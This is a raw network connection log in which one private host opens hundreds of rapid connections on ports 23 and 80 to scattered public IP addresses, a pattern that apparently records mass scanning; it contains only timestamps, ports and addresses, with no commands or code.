Dec 3, 2024 21:30:52.802345037 CET	59020	23	192.168.2.23	67.103.153.75
Dec 3, 2024 21:30:52.802350998 CET	59020	23	192.168.2.23	159.51.254.106
Dec 3, 2024 21:30:52.802355051 CET	59020	23	192.168.2.23	58.7.249.169
Dec 3, 2024 21:30:52.802361012 CET	59020	23	192.168.2.23	1.26.171.217
Dec 3, 2024 21:30:52.802361012 CET	59020	23	192.168.2.23	171.197.197.189
Dec 3, 2024 21:30:52.802369118 CET	59020	23	192.168.2.23	48.209.178.17
Dec 3, 2024 21:30:52.802381039 CET	59020	23	192.168.2.23	69.151.33.40
Dec 3, 2024 21:30:52.802381039 CET	59020	23	192.168.2.23	32.127.255.87
Dec 3, 2024 21:30:52.802385092 CET	59020	23	192.168.2.23	42.156.119.188
Dec 3, 2024 21:30:52.802392960 CET	59020	23	192.168.2.23	101.130.44.216
Dec 3, 2024 21:30:52.802405119 CET	59020	23	192.168.2.23	24.3.37.192
Dec 3, 2024 21:30:52.802406073 CET	59020	23	192.168.2.23	177.56.153.70
Dec 3, 2024 21:30:52.802412987 CET	59020	23	192.168.2.23	182.9.63.199
Dec 3, 2024 21:30:52.802418947 CET	59020	23	192.168.2.23	43.133.160.217
Dec 3, 2024 21:30:52.802421093 CET	59020	23	192.168.2.23	80.167.206.184
Dec 3, 2024 21:30:52.802427053 CET	59020	23	192.168.2.23	82.236.176.199
Dec 3, 2024 21:30:52.802428961 CET	59020	23	192.168.2.23	183.253.50.148
Dec 3, 2024 21:30:52.802434921 CET	59020	23	192.168.2.23	63.252.147.125
Dec 3, 2024 21:30:52.802444935 CET	59020	23	192.168.2.23	168.8.83.207
Dec 3, 2024 21:30:52.802448034 CET	59020	23	192.168.2.23	47.211.66.204
Dec 3, 2024 21:30:52.802452087 CET	59020	23	192.168.2.23	134.64.112.40
Dec 3, 2024 21:30:52.802464962 CET	59020	23	192.168.2.23	48.103.187.152
Dec 3, 2024 21:30:52.802465916 CET	59020	23	192.168.2.23	171.33.29.73
Dec 3, 2024 21:30:52.802472115 CET	59020	23	192.168.2.23	182.213.78.197
Dec 3, 2024 21:30:52.802476883 CET	59020	23	192.168.2.23	188.204.55.15
Dec 3, 2024 21:30:52.802483082 CET	59020	23	192.168.2.23	20.126.221.149
Dec 3, 2024 21:30:52.802489996 CET	59020	23	192.168.2.23	39.195.255.69
Dec 3, 2024 21:30:52.802499056 CET	59020	23	192.168.2.23	176.24.17.189
Dec 3, 2024 21:30:52.802499056 CET	59020	23	192.168.2.23	121.1.88.23
Dec 3, 2024 21:30:52.802509069 CET	59020	23	192.168.2.23	161.238.183.246
Dec 3, 2024 21:30:52.802515030 CET	59020	23	192.168.2.23	140.9.251.165
Dec 3, 2024 21:30:52.802516937 CET	59020	23	192.168.2.23	84.0.135.154
Dec 3, 2024 21:30:52.802525043 CET	59020	23	192.168.2.23	4.94.87.105
Dec 3, 2024 21:30:52.802531958 CET	59020	23	192.168.2.23	101.60.61.121
Dec 3, 2024 21:30:52.802537918 CET	59020	23	192.168.2.23	113.102.63.82
Dec 3, 2024 21:30:52.802541018 CET	59020	23	192.168.2.23	179.166.153.21
Dec 3, 2024 21:30:52.802546978 CET	59020	23	192.168.2.23	13.177.9.42
Dec 3, 2024 21:30:52.802552938 CET	59020	23	192.168.2.23	160.248.234.130
Dec 3, 2024 21:30:52.802556038 CET	59020	23	192.168.2.23	159.29.90.187
Dec 3, 2024 21:30:52.802560091 CET	59020	23	192.168.2.23	158.55.232.249
Dec 3, 2024 21:30:52.802567959 CET	59020	23	192.168.2.23	82.169.1.176
Dec 3, 2024 21:30:52.802572012 CET	59020	23	192.168.2.23	139.217.136.41
Dec 3, 2024 21:30:52.802577019 CET	59020	23	192.168.2.23	176.244.172.173
Dec 3, 2024 21:30:52.802581072 CET	59020	23	192.168.2.23	142.44.151.113
Dec 3, 2024 21:30:52.802587032 CET	59020	23	192.168.2.23	9.49.236.127
Dec 3, 2024 21:30:52.802594900 CET	59020	23	192.168.2.23	216.29.192.78
Dec 3, 2024 21:30:52.802598953 CET	59020	23	192.168.2.23	60.255.137.159
Dec 3, 2024 21:30:52.802603006 CET	59020	23	192.168.2.23	144.224.95.138
Dec 3, 2024 21:30:52.802608013 CET	59020	23	192.168.2.23	108.142.129.68
Dec 3, 2024 21:30:52.802614927 CET	59020	23	192.168.2.23	158.78.244.13
Dec 3, 2024 21:30:52.802619934 CET	59020	23	192.168.2.23	24.85.106.222
Dec 3, 2024 21:30:52.802628040 CET	59020	23	192.168.2.23	172.239.249.206
Dec 3, 2024 21:30:52.802634001 CET	59020	23	192.168.2.23	223.207.229.115
Dec 3, 2024 21:30:52.802639961 CET	59020	23	192.168.2.23	9.22.8.106
Dec 3, 2024 21:30:52.802647114 CET	59020	23	192.168.2.23	176.130.98.244
Dec 3, 2024 21:30:52.802654028 CET	59020	23	192.168.2.23	36.203.61.52
Dec 3, 2024 21:30:52.802658081 CET	59020	23	192.168.2.23	199.114.155.150
Dec 3, 2024 21:30:52.802663088 CET	59020	23	192.168.2.23	71.53.152.43
Dec 3, 2024 21:30:52.802670956 CET	59020	23	192.168.2.23	167.120.144.94
Dec 3, 2024 21:30:52.802674055 CET	59020	23	192.168.2.23	60.97.171.231
Dec 3, 2024 21:30:52.802681923 CET	59020	23	192.168.2.23	43.81.98.200
Dec 3, 2024 21:30:52.802685022 CET	59020	23	192.168.2.23	115.121.141.147
Dec 3, 2024 21:30:52.802690029 CET	59020	23	192.168.2.23	79.229.255.104
Dec 3, 2024 21:30:52.802700996 CET	59020	23	192.168.2.23	211.115.27.231
Dec 3, 2024 21:30:52.802700996 CET	59020	23	192.168.2.23	159.66.75.172
Dec 3, 2024 21:30:52.802706003 CET	59020	23	192.168.2.23	195.14.178.65
Dec 3, 2024 21:30:52.802715063 CET	59020	23	192.168.2.23	8.173.196.14
Dec 3, 2024 21:30:52.802723885 CET	59020	23	192.168.2.23	181.41.192.107
Dec 3, 2024 21:30:52.802727938 CET	59020	23	192.168.2.23	223.37.118.243
Dec 3, 2024 21:30:52.802727938 CET	59020	23	192.168.2.23	160.60.116.85
Dec 3, 2024 21:30:52.802736998 CET	59020	23	192.168.2.23	205.253.123.108
Dec 3, 2024 21:30:52.802738905 CET	59020	23	192.168.2.23	85.128.60.27
Dec 3, 2024 21:30:52.802748919 CET	59020	23	192.168.2.23	141.93.114.204
Dec 3, 2024 21:30:52.803028107 CET	59926	23	192.168.2.23	39.233.174.91
Dec 3, 2024 21:30:52.803602934 CET	36430	23	192.168.2.23	115.110.93.139
Dec 3, 2024 21:30:52.804161072 CET	39694	23	192.168.2.23	180.16.210.241
Dec 3, 2024 21:30:52.804728031 CET	38014	23	192.168.2.23	182.224.100.231
Dec 3, 2024 21:30:52.805310011 CET	47308	23	192.168.2.23	126.10.254.74
Dec 3, 2024 21:30:52.805871010 CET	48480	23	192.168.2.23	95.3.254.80
Dec 3, 2024 21:30:52.806432962 CET	45202	23	192.168.2.23	49.170.234.147
Dec 3, 2024 21:30:52.807007074 CET	39978	23	192.168.2.23	218.72.36.154
Dec 3, 2024 21:30:52.807571888 CET	57184	23	192.168.2.23	216.31.104.220
Dec 3, 2024 21:30:52.818140030 CET	59010	80	192.168.2.23	38.185.77.8
Dec 3, 2024 21:30:52.818151951 CET	59010	80	192.168.2.23	88.226.103.50
Dec 3, 2024 21:30:52.818159103 CET	59010	80	192.168.2.23	111.107.98.120
Dec 3, 2024 21:30:52.818159103 CET	59010	80	192.168.2.23	142.0.44.244
Dec 3, 2024 21:30:52.818161011 CET	59010	80	192.168.2.23	223.74.55.207
Dec 3, 2024 21:30:52.818178892 CET	59010	80	192.168.2.23	123.102.171.95
Dec 3, 2024 21:30:52.818178892 CET	59010	80	192.168.2.23	120.106.248.81
Dec 3, 2024 21:30:52.818185091 CET	59010	80	192.168.2.23	48.254.251.144
Dec 3, 2024 21:30:52.818185091 CET	59010	80	192.168.2.23	143.33.226.25
Dec 3, 2024 21:30:52.818190098 CET	59010	80	192.168.2.23	44.195.234.252
Dec 3, 2024 21:30:52.818192005 CET	59010	80	192.168.2.23	158.209.63.152
Dec 3, 2024 21:30:52.818202019 CET	59010	80	192.168.2.23	218.130.226.55
Dec 3, 2024 21:30:52.818203926 CET	59010	80	192.168.2.23	140.148.159.87
Dec 3, 2024 21:30:52.818209887 CET	59010	80	192.168.2.23	77.219.89.253
Dec 3, 2024 21:30:52.818219900 CET	59010	80	192.168.2.23	13.254.207.216
Dec 3, 2024 21:30:52.818224907 CET	59010	80	192.168.2.23	165.141.95.245
Dec 3, 2024 21:30:52.818228006 CET	59010	80	192.168.2.23	140.115.217.107
Dec 3, 2024 21:30:52.818237066 CET	59010	80	192.168.2.23	103.216.5.27
Dec 3, 2024 21:30:52.818243027 CET	59010	80	192.168.2.23	8.116.223.98
Dec 3, 2024 21:30:52.818244934 CET	59010	80	192.168.2.23	205.195.149.91
Dec 3, 2024 21:30:52.818250895 CET	59010	80	192.168.2.23	194.94.64.125
Dec 3, 2024 21:30:52.818259954 CET	59010	80	192.168.2.23	213.143.69.209
Dec 3, 2024 21:30:52.818259954 CET	59010	80	192.168.2.23	132.191.46.131
Dec 3, 2024 21:30:52.818265915 CET	59010	80	192.168.2.23	81.159.126.154
Dec 3, 2024 21:30:52.818269014 CET	59010	80	192.168.2.23	131.3.244.184
Dec 3, 2024 21:30:52.818272114 CET	59010	80	192.168.2.23	148.204.85.237
Dec 3, 2024 21:30:52.818281889 CET	59010	80	192.168.2.23	157.155.131.57
Dec 3, 2024 21:30:52.818286896 CET	59010	80	192.168.2.23	144.108.74.3
Dec 3, 2024 21:30:52.818290949 CET	59010	80	192.168.2.23	52.113.152.156
Dec 3, 2024 21:30:52.818295956 CET	59010	80	192.168.2.23	72.17.148.77
Dec 3, 2024 21:30:52.818299055 CET	59010	80	192.168.2.23	82.11.196.185
Dec 3, 2024 21:30:52.818310976 CET	59010	80	192.168.2.23	62.187.18.31
Dec 3, 2024 21:30:52.818316936 CET	59010	80	192.168.2.23	102.126.148.54
Dec 3, 2024 21:30:52.818319082 CET	59010	80	192.168.2.23	27.14.79.117
Dec 3, 2024 21:30:52.818321943 CET	59010	80	192.168.2.23	96.57.181.244
Dec 3, 2024 21:30:52.818331957 CET	59010	80	192.168.2.23	94.161.66.203
Dec 3, 2024 21:30:52.818332911 CET	59010	80	192.168.2.23	90.77.231.226
Dec 3, 2024 21:30:52.818337917 CET	59010	80	192.168.2.23	173.30.192.66
Dec 3, 2024 21:30:52.818345070 CET	59010	80	192.168.2.23	192.192.113.92
Dec 3, 2024 21:30:52.818345070 CET	59010	80	192.168.2.23	110.52.179.211
Dec 3, 2024 21:30:52.818353891 CET	59010	80	192.168.2.23	73.181.219.148
Dec 3, 2024 21:30:52.818362951 CET	59010	80	192.168.2.23	64.12.77.11
Dec 3, 2024 21:30:52.818365097 CET	59010	80	192.168.2.23	155.134.233.244
Dec 3, 2024 21:30:52.818373919 CET	59010	80	192.168.2.23	8.238.144.147
Dec 3, 2024 21:30:52.818376064 CET	59010	80	192.168.2.23	125.184.2.30
Dec 3, 2024 21:30:52.818377972 CET	59010	80	192.168.2.23	158.166.198.138
Dec 3, 2024 21:30:52.818383932 CET	59010	80	192.168.2.23	67.136.239.136
Dec 3, 2024 21:30:52.818392038 CET	59010	80	192.168.2.23	66.203.70.62
Dec 3, 2024 21:30:52.818402052 CET	59010	80	192.168.2.23	186.215.217.97
Dec 3, 2024 21:30:52.818407059 CET	59010	80	192.168.2.23	84.11.72.157
Dec 3, 2024 21:30:52.818408966 CET	59010	80	192.168.2.23	184.4.169.172
Dec 3, 2024 21:30:52.818417072 CET	59010	80	192.168.2.23	83.94.15.9
Dec 3, 2024 21:30:52.818428040 CET	59010	80	192.168.2.23	69.186.189.208
Dec 3, 2024 21:30:52.818429947 CET	59010	80	192.168.2.23	198.239.201.112
Dec 3, 2024 21:30:52.818433046 CET	59010	80	192.168.2.23	35.157.112.214
Dec 3, 2024 21:30:52.818438053 CET	59010	80	192.168.2.23	182.24.35.212
Dec 3, 2024 21:30:52.818444014 CET	59010	80	192.168.2.23	123.40.222.126
Dec 3, 2024 21:30:52.818454027 CET	59010	80	192.168.2.23	178.35.137.8
Dec 3, 2024 21:30:52.818454981 CET	59010	80	192.168.2.23	12.8.129.2
Dec 3, 2024 21:30:52.818464041 CET	59010	80	192.168.2.23	141.229.102.138
Dec 3, 2024 21:30:52.818471909 CET	59010	80	192.168.2.23	48.48.45.221
Dec 3, 2024 21:30:52.818474054 CET	59010	80	192.168.2.23	102.154.227.53
Dec 3, 2024 21:30:52.818481922 CET	59010	80	192.168.2.23	170.46.232.70
Dec 3, 2024 21:30:52.818484068 CET	59010	80	192.168.2.23	37.170.172.69
Dec 3, 2024 21:30:52.818497896 CET	59010	80	192.168.2.23	117.88.214.49
Dec 3, 2024 21:30:52.818497896 CET	59010	80	192.168.2.23	219.164.144.212
Dec 3, 2024 21:30:52.818506956 CET	59010	80	192.168.2.23	181.17.242.4
Dec 3, 2024 21:30:52.818509102 CET	59010	80	192.168.2.23	213.199.237.207
Dec 3, 2024 21:30:52.818517923 CET	59010	80	192.168.2.23	84.53.213.53
Dec 3, 2024 21:30:52.818521023 CET	59010	80	192.168.2.23	40.77.124.135
Dec 3, 2024 21:30:52.818526983 CET	59010	80	192.168.2.23	123.123.58.194
Dec 3, 2024 21:30:52.818531990 CET	59010	80	192.168.2.23	43.132.63.15
Dec 3, 2024 21:30:52.818535089 CET	59010	80	192.168.2.23	83.76.87.140
Dec 3, 2024 21:30:52.818542004 CET	59010	80	192.168.2.23	144.224.105.105
Dec 3, 2024 21:30:52.818545103 CET	59010	80	192.168.2.23	112.190.129.250
Dec 3, 2024 21:30:52.818550110 CET	59010	80	192.168.2.23	72.32.124.103
Dec 3, 2024 21:30:52.818557978 CET	59010	80	192.168.2.23	210.184.150.78
Dec 3, 2024 21:30:52.818561077 CET	59010	80	192.168.2.23	173.119.141.48
Dec 3, 2024 21:30:52.818566084 CET	59010	80	192.168.2.23	63.22.14.237
Dec 3, 2024 21:30:52.818568945 CET	59010	80	192.168.2.23	83.146.247.171
Dec 3, 2024 21:30:52.818574905 CET	59010	80	192.168.2.23	200.229.45.11
Dec 3, 2024 21:30:52.818582058 CET	59010	80	192.168.2.23	101.102.27.226
Dec 3, 2024 21:30:52.818584919 CET	59010	80	192.168.2.23	220.224.160.66
Dec 3, 2024 21:30:52.818591118 CET	59010	80	192.168.2.23	52.168.255.59
Dec 3, 2024 21:30:52.818595886 CET	59010	80	192.168.2.23	120.89.10.106
Dec 3, 2024 21:30:52.818598986 CET	59010	80	192.168.2.23	154.207.137.250
Dec 3, 2024 21:30:52.818603992 CET	59010	80	192.168.2.23	94.109.93.204
Dec 3, 2024 21:30:52.818613052 CET	59010	80	192.168.2.23	79.174.109.150
Dec 3, 2024 21:30:52.818615913 CET	59010	80	192.168.2.23	120.232.72.96
Dec 3, 2024 21:30:52.818623066 CET	59010	80	192.168.2.23	100.53.86.168
Dec 3, 2024 21:30:52.818629980 CET	59010	80	192.168.2.23	129.102.225.75
Dec 3, 2024 21:30:52.818629980 CET	59010	80	192.168.2.23	205.98.227.164
Dec 3, 2024 21:30:52.818633080 CET	59010	80	192.168.2.23	108.2.151.171
Dec 3, 2024 21:30:52.818639040 CET	59010	80	192.168.2.23	24.219.131.110
Dec 3, 2024 21:30:52.818649054 CET	59010	80	192.168.2.23	173.8.220.225
Dec 3, 2024 21:30:52.818649054 CET	59010	80	192.168.2.23	23.255.77.224
Dec 3, 2024 21:30:52.818654060 CET	59010	80	192.168.2.23	149.143.155.61
Dec 3, 2024 21:30:52.818659067 CET	59010	80	192.168.2.23	5.10.10.23
Dec 3, 2024 21:30:52.818665981 CET	59010	80	192.168.2.23	43.242.166.209
Dec 3, 2024 21:30:52.818671942 CET	59010	80	192.168.2.23	194.144.206.137
Dec 3, 2024 21:30:52.818676949 CET	59010	80	192.168.2.23	180.83.42.94
Dec 3, 2024 21:30:52.818689108 CET	59010	80	192.168.2.23	207.49.123.152
Dec 3, 2024 21:30:52.818691015 CET	59010	80	192.168.2.23	60.26.253.185
Dec 3, 2024 21:30:52.818705082 CET	59010	80	192.168.2.23	156.38.73.86
Dec 3, 2024 21:30:52.818706989 CET	59010	80	192.168.2.23	8.101.113.70
Dec 3, 2024 21:30:52.818708897 CET	59010	80	192.168.2.23	32.163.149.142
Dec 3, 2024 21:30:52.818717003 CET	59010	80	192.168.2.23	181.157.246.49
Dec 3, 2024 21:30:52.818723917 CET	59010	80	192.168.2.23	105.56.213.59
Dec 3, 2024 21:30:52.818730116 CET	59010	80	192.168.2.23	204.199.50.85
Dec 3, 2024 21:30:52.818737030 CET	59010	80	192.168.2.23	14.89.163.15
Dec 3, 2024 21:30:52.818742990 CET	59010	80	192.168.2.23	8.75.81.96
Dec 3, 2024 21:30:52.818747997 CET	59010	80	192.168.2.23	141.16.11.223
Dec 3, 2024 21:30:52.818748951 CET	59010	80	192.168.2.23	205.77.239.243
Dec 3, 2024 21:30:52.818756104 CET	59010	80	192.168.2.23	159.109.83.121
Dec 3, 2024 21:30:52.818763971 CET	59010	80	192.168.2.23	102.22.80.185
Dec 3, 2024 21:30:52.818772078 CET	59010	80	192.168.2.23	162.204.194.75
Dec 3, 2024 21:30:52.818778992 CET	59010	80	192.168.2.23	90.119.17.135
Dec 3, 2024 21:30:52.818779945 CET	59010	80	192.168.2.23	222.174.58.136
Dec 3, 2024 21:30:52.818788052 CET	59010	80	192.168.2.23	61.230.155.103
Dec 3, 2024 21:30:52.818794012 CET	59010	80	192.168.2.23	199.89.225.233
Dec 3, 2024 21:30:52.818800926 CET	59010	80	192.168.2.23	50.241.154.8
Dec 3, 2024 21:30:52.818804979 CET	59010	80	192.168.2.23	195.255.225.37
Dec 3, 2024 21:30:52.818813086 CET	59010	80	192.168.2.23	147.57.87.179
Dec 3, 2024 21:30:52.818820953 CET	59010	80	192.168.2.23	82.12.86.21
Dec 3, 2024 21:30:52.818820953 CET	59010	80	192.168.2.23	80.60.90.255
Dec 3, 2024 21:30:52.818831921 CET	59010	80	192.168.2.23	181.56.17.174
Dec 3, 2024 21:30:52.818836927 CET	59010	80	192.168.2.23	185.84.143.115
Dec 3, 2024 21:30:52.818842888 CET	59010	80	192.168.2.23	150.140.131.245
Dec 3, 2024 21:30:52.818849087 CET	59010	80	192.168.2.23	138.194.97.17
Dec 3, 2024 21:30:52.818851948 CET	59010	80	192.168.2.23	133.127.29.57
Dec 3, 2024 21:30:52.818859100 CET	59010	80	192.168.2.23	114.64.207.243
Dec 3, 2024 21:30:52.818867922 CET	59010	80	192.168.2.23	216.18.225.94
Dec 3, 2024 21:30:52.818869114 CET	59010	80	192.168.2.23	209.42.203.161
Dec 3, 2024 21:30:52.818872929 CET	59010	80	192.168.2.23	191.138.229.7
Dec 3, 2024 21:30:52.818876028 CET	59010	80	192.168.2.23	152.12.244.214
Dec 3, 2024 21:30:52.818881989 CET	59010	80	192.168.2.23	99.40.131.143
Dec 3, 2024 21:30:52.818888903 CET	59010	80	192.168.2.23	142.205.33.234
Dec 3, 2024 21:30:52.818890095 CET	59010	80	192.168.2.23	162.111.175.236
Dec 3, 2024 21:30:52.818895102 CET	59010	80	192.168.2.23	190.149.97.220
Dec 3, 2024 21:30:52.818902969 CET	59010	80	192.168.2.23	164.187.146.142
Dec 3, 2024 21:30:52.818905115 CET	59010	80	192.168.2.23	93.3.41.37
Dec 3, 2024 21:30:52.818912983 CET	59010	80	192.168.2.23	23.179.161.159
Dec 3, 2024 21:30:52.818922043 CET	59010	80	192.168.2.23	44.64.51.170
Dec 3, 2024 21:30:52.818922997 CET	59010	80	192.168.2.23	173.248.255.23
Dec 3, 2024 21:30:52.818933964 CET	59010	80	192.168.2.23	150.169.56.140
Dec 3, 2024 21:30:52.818938971 CET	59010	80	192.168.2.23	198.129.77.71
Dec 3, 2024 21:30:52.818943977 CET	59010	80	192.168.2.23	54.255.67.103
Dec 3, 2024 21:30:52.818952084 CET	59010	80	192.168.2.23	155.26.207.184
Dec 3, 2024 21:30:52.818960905 CET	59010	80	192.168.2.23	144.105.175.187
Dec 3, 2024 21:30:52.818962097 CET	59010	80	192.168.2.23	38.248.105.212
Dec 3, 2024 21:30:52.818969965 CET	59010	80	192.168.2.23	115.198.182.72
Dec 3, 2024 21:30:52.818972111 CET	59010	80	192.168.2.23	1.101.94.168
Dec 3, 2024 21:30:52.818980932 CET	59010	80	192.168.2.23	79.163.86.206
Dec 3, 2024 21:30:52.818988085 CET	59010	80	192.168.2.23	19.100.54.213
Dec 3, 2024 21:30:52.818990946 CET	59010	80	192.168.2.23	83.19.6.213
Dec 3, 2024 21:30:52.819000959 CET	59010	80	192.168.2.23	41.19.77.230
Dec 3, 2024 21:30:52.819000959 CET	59010	80	192.168.2.23	58.32.175.33
Dec 3, 2024 21:30:52.819010019 CET	59010	80	192.168.2.23	139.48.233.192
Dec 3, 2024 21:30:52.819013119 CET	59010	80	192.168.2.23	109.34.199.237
Dec 3, 2024 21:30:52.819017887 CET	59010	80	192.168.2.23	136.228.173.137
Dec 3, 2024 21:30:52.819022894 CET	59010	80	192.168.2.23	72.188.171.212
Dec 3, 2024 21:30:52.819032907 CET	59010	80	192.168.2.23	110.79.153.173
Dec 3, 2024 21:30:52.819034100 CET	59010	80	192.168.2.23	35.182.158.18
Dec 3, 2024 21:30:52.819040060 CET	59010	80	192.168.2.23	107.17.244.50
Dec 3, 2024 21:30:52.819046021 CET	59010	80	192.168.2.23	117.12.49.190
Dec 3, 2024 21:30:52.819047928 CET	59010	80	192.168.2.23	191.208.131.29
Dec 3, 2024 21:30:52.819052935 CET	59010	80	192.168.2.23	213.151.124.84
Dec 3, 2024 21:30:52.819057941 CET	59010	80	192.168.2.23	64.4.84.175
Dec 3, 2024 21:30:52.819061995 CET	59010	80	192.168.2.23	130.202.245.190
Dec 3, 2024 21:30:52.819068909 CET	59010	80	192.168.2.23	51.22.7.163
Dec 3, 2024 21:30:52.819073915 CET	59010	80	192.168.2.23	186.11.133.245
Dec 3, 2024 21:30:52.819088936 CET	59010	80	192.168.2.23	130.14.47.236
Dec 3, 2024 21:30:52.819096088 CET	59010	80	192.168.2.23	198.82.84.49
Dec 3, 2024 21:30:52.819097996 CET	59010	80	192.168.2.23	145.31.57.195
Dec 3, 2024 21:30:52.819101095 CET	59010	80	192.168.2.23	41.70.139.198
Dec 3, 2024 21:30:52.819103003 CET	59010	80	192.168.2.23	121.80.100.216
Dec 3, 2024 21:30:52.819103956 CET	59010	80	192.168.2.23	25.36.220.108
Dec 3, 2024 21:30:52.819106102 CET	59010	80	192.168.2.23	145.150.106.125
Dec 3, 2024 21:30:52.819107056 CET	59010	80	192.168.2.23	86.143.180.212
Dec 3, 2024 21:30:52.819117069 CET	41626	80	192.168.2.23	67.181.179.91
Dec 3, 2024 21:30:52.819122076 CET	35814	80	192.168.2.23	220.142.4.23
Dec 3, 2024 21:30:52.819124937 CET	59122	80	192.168.2.23	46.150.128.128
Dec 3, 2024 21:30:52.819133043 CET	59010	80	192.168.2.23	166.254.8.175
Dec 3, 2024 21:30:52.819140911 CET	59010	80	192.168.2.23	186.44.162.170
Dec 3, 2024 21:30:52.819140911 CET	59010	80	192.168.2.23	68.6.64.61
Dec 3, 2024 21:30:52.819149017 CET	59010	80	192.168.2.23	86.84.40.186
Dec 3, 2024 21:30:52.819155931 CET	59010	80	192.168.2.23	39.57.50.251
Dec 3, 2024 21:30:52.819164038 CET	59010	80	192.168.2.23	65.209.207.161
Dec 3, 2024 21:30:52.819164038 CET	59010	80	192.168.2.23	119.218.162.230
Dec 3, 2024 21:30:52.819170952 CET	59010	80	192.168.2.23	42.223.151.141
Dec 3, 2024 21:30:52.819180965 CET	59010	80	192.168.2.23	212.250.190.104
Dec 3, 2024 21:30:52.819186926 CET	59010	80	192.168.2.23	92.143.153.99
Dec 3, 2024 21:30:52.819192886 CET	59010	80	192.168.2.23	47.146.224.155
Dec 3, 2024 21:30:52.819196939 CET	59010	80	192.168.2.23	159.57.147.254
Dec 3, 2024 21:30:52.819199085 CET	59010	80	192.168.2.23	135.73.19.9
Dec 3, 2024 21:30:52.819199085 CET	59010	80	192.168.2.23	209.135.75.205
Dec 3, 2024 21:30:52.819205999 CET	59010	80	192.168.2.23	209.212.154.210
Dec 3, 2024 21:30:52.819205999 CET	59010	80	192.168.2.23	142.185.89.113
Dec 3, 2024 21:30:52.819207907 CET	59010	80	192.168.2.23	82.155.81.131
Dec 3, 2024 21:30:52.819217920 CET	59010	80	192.168.2.23	124.102.49.49
Dec 3, 2024 21:30:52.819224119 CET	59010	80	192.168.2.23	115.180.77.246
Dec 3, 2024 21:30:52.819230080 CET	59010	80	192.168.2.23	123.150.253.0
Dec 3, 2024 21:30:52.819236994 CET	59010	80	192.168.2.23	128.96.169.43
Dec 3, 2024 21:30:52.819245100 CET	59010	80	192.168.2.23	110.84.242.85
Dec 3, 2024 21:30:52.819252014 CET	59010	80	192.168.2.23	123.125.16.96
Dec 3, 2024 21:30:52.819257975 CET	59010	80	192.168.2.23	75.117.66.113
Dec 3, 2024 21:30:52.819259882 CET	59010	80	192.168.2.23	220.48.232.206
Dec 3, 2024 21:30:52.819267988 CET	59010	80	192.168.2.23	4.116.247.199
Dec 3, 2024 21:30:52.819274902 CET	59010	80	192.168.2.23	168.183.203.230
Dec 3, 2024 21:30:52.819278002 CET	59010	80	192.168.2.23	98.206.49.254
Dec 3, 2024 21:30:52.819289923 CET	59010	80	192.168.2.23	165.154.123.182
Dec 3, 2024 21:30:52.819291115 CET	59010	80	192.168.2.23	94.13.197.16
Dec 3, 2024 21:30:52.819294930 CET	59010	80	192.168.2.23	119.145.190.106
Dec 3, 2024 21:30:52.819300890 CET	59010	80	192.168.2.23	103.12.136.232
Dec 3, 2024 21:30:52.819303989 CET	59010	80	192.168.2.23	203.173.184.86
Dec 3, 2024 21:30:52.819310904 CET	59010	80	192.168.2.23	2.43.84.42
Dec 3, 2024 21:30:52.819320917 CET	59010	80	192.168.2.23	97.60.74.150
Dec 3, 2024 21:30:52.819320917 CET	59010	80	192.168.2.23	27.69.19.236
Dec 3, 2024 21:30:52.819327116 CET	59010	80	192.168.2.23	123.177.152.249
Dec 3, 2024 21:30:52.819331884 CET	59010	80	192.168.2.23	148.162.174.73
Dec 3, 2024 21:30:52.819339991 CET	59010	80	192.168.2.23	176.3.146.243
Dec 3, 2024 21:30:52.819341898 CET	59010	80	192.168.2.23	66.208.98.250
Dec 3, 2024 21:30:52.819350004 CET	59010	80	192.168.2.23	130.222.120.7
Dec 3, 2024 21:30:52.819355965 CET	59010	80	192.168.2.23	95.139.27.198
Dec 3, 2024 21:30:52.819363117 CET	59010	80	192.168.2.23	132.60.54.41
Dec 3, 2024 21:30:52.819364071 CET	59010	80	192.168.2.23	88.2.162.127
Dec 3, 2024 21:30:52.819370031 CET	59010	80	192.168.2.23	54.244.190.212
Dec 3, 2024 21:30:52.819377899 CET	59010	80	192.168.2.23	212.112.110.217
Dec 3, 2024 21:30:52.819382906 CET	59010	80	192.168.2.23	149.232.210.23
Dec 3, 2024 21:30:52.819385052 CET	59010	80	192.168.2.23	124.228.201.77
Dec 3, 2024 21:30:52.819391966 CET	59010	80	192.168.2.23	179.112.21.140
Dec 3, 2024 21:30:52.819399118 CET	59010	80	192.168.2.23	100.35.230.38
Dec 3, 2024 21:30:52.819406033 CET	59010	80	192.168.2.23	204.136.145.139
Dec 3, 2024 21:30:52.819406033 CET	59010	80	192.168.2.23	175.2.221.83
Dec 3, 2024 21:30:52.819411993 CET	59010	80	192.168.2.23	75.197.40.223
Dec 3, 2024 21:30:52.819417000 CET	59010	80	192.168.2.23	57.121.53.159
Dec 3, 2024 21:30:52.819423914 CET	59010	80	192.168.2.23	160.166.109.11
Dec 3, 2024 21:30:52.819427967 CET	59010	80	192.168.2.23	133.225.5.122
Dec 3, 2024 21:30:52.819433928 CET	59010	80	192.168.2.23	195.38.220.12
Dec 3, 2024 21:30:52.819439888 CET	59010	80	192.168.2.23	197.29.121.130
Dec 3, 2024 21:30:52.819447041 CET	59010	80	192.168.2.23	114.104.61.24
Dec 3, 2024 21:30:52.819447041 CET	59010	80	192.168.2.23	124.100.7.171
Dec 3, 2024 21:30:52.819449902 CET	59010	80	192.168.2.23	132.125.186.159
Dec 3, 2024 21:30:52.819457054 CET	59010	80	192.168.2.23	194.172.252.215
Dec 3, 2024 21:30:52.819462061 CET	59010	80	192.168.2.23	95.150.83.198
Dec 3, 2024 21:30:52.819468021 CET	59010	80	192.168.2.23	140.94.56.251
Dec 3, 2024 21:30:52.819473982 CET	59010	80	192.168.2.23	170.92.84.27
Dec 3, 2024 21:30:52.819477081 CET	59010	80	192.168.2.23	221.89.193.158
Dec 3, 2024 21:30:52.819484949 CET	59010	80	192.168.2.23	133.203.133.29
Dec 3, 2024 21:30:52.819487095 CET	59010	80	192.168.2.23	90.135.251.166
Dec 3, 2024 21:30:52.819492102 CET	59010	80	192.168.2.23	150.206.70.90
Dec 3, 2024 21:30:52.819499016 CET	59010	80	192.168.2.23	123.42.85.19
Dec 3, 2024 21:30:52.819504976 CET	59010	80	192.168.2.23	74.212.103.113
Dec 3, 2024 21:30:52.819511890 CET	59010	80	192.168.2.23	172.230.147.6
Dec 3, 2024 21:30:52.819518089 CET	59010	80	192.168.2.23	32.120.47.222
Dec 3, 2024 21:30:52.819533110 CET	59010	80	192.168.2.23	121.75.14.141
Dec 3, 2024 21:30:52.819533110 CET	59010	80	192.168.2.23	34.206.229.172
Dec 3, 2024 21:30:52.819533110 CET	59010	80	192.168.2.23	48.181.175.204
